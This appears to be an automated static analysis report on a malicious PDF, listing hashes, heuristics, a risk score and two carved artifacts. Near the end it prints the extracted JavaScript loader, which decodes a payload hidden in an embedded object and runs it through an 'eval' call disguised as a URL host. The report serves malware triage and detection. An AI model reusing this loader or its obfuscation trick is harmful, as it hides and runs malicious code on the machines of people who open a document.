Malicious PDF — malware analysis report

Static analysis result for SHA-256 27ebc584e9ba173a…

MALICIOUS

PDF

5.1 KB First seen: 2013-07-12
MD5: 2c448e266b03fd4317044a5cd0da29ad SHA-1: 32fd5ace0fd5074ebe3dee4443315a10daf606d6 SHA-256: 27ebc584e9ba173aa4af8266c2722eec5053372b612d837152c4d52db3c2dc28
76 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious File

The PDF document contains an embedded JavaScript file and an embedded binary file, as indicated by the PDF_JAVASCRIPT, PDF_JS, and PDF_EMBEDDED heuristics. The ML_NYX_PDF_MALICIOUS classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for executing or downloading the embedded binary payload, which is a common technique for delivering malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: 934111299bc2b8f8d2c0931b408e4fbc2a5b8aa531a91d05a326f592605679f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
256 of 256 identifiers look randomly generated (e.g. 'LklPAHItR9bf5N8q1LklPAHItR9bf5N8q2LklPAH') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);